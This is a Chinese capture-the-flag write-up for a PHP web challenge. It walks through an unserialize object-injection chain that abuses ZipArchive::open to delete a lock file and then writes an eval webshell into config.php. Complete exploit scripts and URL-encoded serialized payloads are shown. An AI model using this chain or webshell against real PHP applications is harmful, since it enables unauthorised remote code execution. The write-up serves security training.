铸剑杯

web

浅析PHP原生类

1
你是一家金融科技公司的安全工程师。公司的核心交易平台依赖一个高性能的日志聚合微服务来收集和处理来自各个业务模块的日志。为了追求极致的性能和“零依赖”,该服务的早期版本直接使用 unserialize来处理序列化后的日志事件流。

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <?php
highlight_file(__FILE__);
class install {
private $username;
private $password;

public function __wakeup()
{
echo "Hello,".$this->username;
}

public function __toString()
{
($this->username)();
return "Guest";
}

public function __destruct()
{
if(file_exists("install.lock")){
exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}
}

class Until {
public $a;
public $b;
public $c;

public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}

public function __toString()
{
return "HappyUnserialize";
}

public function write($cla, $file, $cont)
{
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}

@unserialize($_GET['data']);

分析代码,可以在install的__destruct方法里面任意写入木马到config.php,只需要进行闭合前面的代码和注释后面的代码即可,payload如下
username='"}?><?php @eval($_POST[1]);#';
但是需要install.lock文件不存在,先写一个写入木马的脚本试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
// highlight_file(__FILE__);
class install {
// private $username;
public $username;
// private $password;
public $password;
// public function __wakeup()
// {
// echo "Hello,".$this->username;
// }

// public function __toString()
// {
// ($this->username)();
// return "Guest";
// }

// public function __destruct()
// {
// if(file_exists("install.lock")){
// exit("Already installed");
// }else{
// $config = [
// 'username' => $this->username,
// 'password' => md5($this->password)
// ];
// file_put_contents('config.php', serialize($config));
// file_put_contents('install.lock', "ok");
// }
// }
}

class Until {
public $a;
public $b;
public $c;

// public function __invoke()
// {
// $this->write($this->a, $this->b, $this->c);
// }

// public function __toString()
// {
// return "HappyUnserialize";
// }

// public function write($cla, $file, $cont)
// {
// $obj = new $cla();
// $obj->open($file,$cont);
// return True;
// }
}

$a=new install();
$a->username='"}?><?php @eval($_POST[1]);#';
$g=serialize($a);
print_r(urlencode($g));

#O%3A7%3A%22install%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A28%3A%22%22%7D%3F%3E%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%23%22%3Bs%3A8%3A%22password%22%3BN%3B%7D

然后发现访问config.php,访问失败,没有写入到config.php中,说明存在install.lock文件,需要想办法删除install.lock文件
然后看Until类的write方法,会调用一个任意php原生类的open方法,php官网查询哪些php原生类存在open方法

发现ZipArchive::open方法,同时可以设置第二个参数为ZipArchive::OVERWRITE(对应数字参数为8)进行文件覆盖写入从而删除install.lock文件,写个链子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
// highlight_file(__FILE__);
class install {
// private $username;
public $username;
// private $password;
public $password;
// public function __wakeup()
// {
// echo "Hello,".$this->username;
// }

// public function __toString()
// {
// ($this->username)();
// return "Guest";
// }

// public function __destruct()
// {
// if(file_exists("install.lock")){
// exit("Already installed");
// }else{
// $config = [
// 'username' => $this->username,
// 'password' => md5($this->password)
// ];
// file_put_contents('config.php', serialize($config));
// file_put_contents('install.lock', "ok");
// }
// }
}

class Until {
public $a;
public $b;
public $c;

// public function __invoke()
// {
// $this->write($this->a, $this->b, $this->c);
// }

// public function __toString()
// {
// return "HappyUnserialize";
// }

// public function write($cla, $file, $cont)
// {
// $obj = new $cla();
// $obj->open($file,$cont);
// return True;
// }
}

$a=new install();
$b=new Until();
$c=new install();
$d=new install();
$a->password=$d;
$d->username='"}?><?php @eval($_POST[1]);#';
$a->username=$c;
$c->username=$b;
$b->a="ZipArchive";
$b->b="install.lock";
$b->c=8;
$g=serialize($a);
print_r(urlencode($g));


#O%3A7%3A%22install%22%3A2%3A%7Bs%3A8%3A%22username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Until%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3B%7Ds%3A8%3A%22password%22%3BN%3B%7Ds%3A8%3A%22password%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A28%3A%22%22%7D%3F%3E%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%23%22%3Bs%3A8%3A%22password%22%3BN%3B%7D%7DO%3A7%3A%22install%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A28%3A%22%22%7D%3F%3E%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%23%22%3Bs%3A8%3A%22password%22%3BN%3B%7D

然后传入data参数,即可删除install.lock文件
然后再传入第一个参数即可写入木马到config.php
访问后命令执行获取flag即可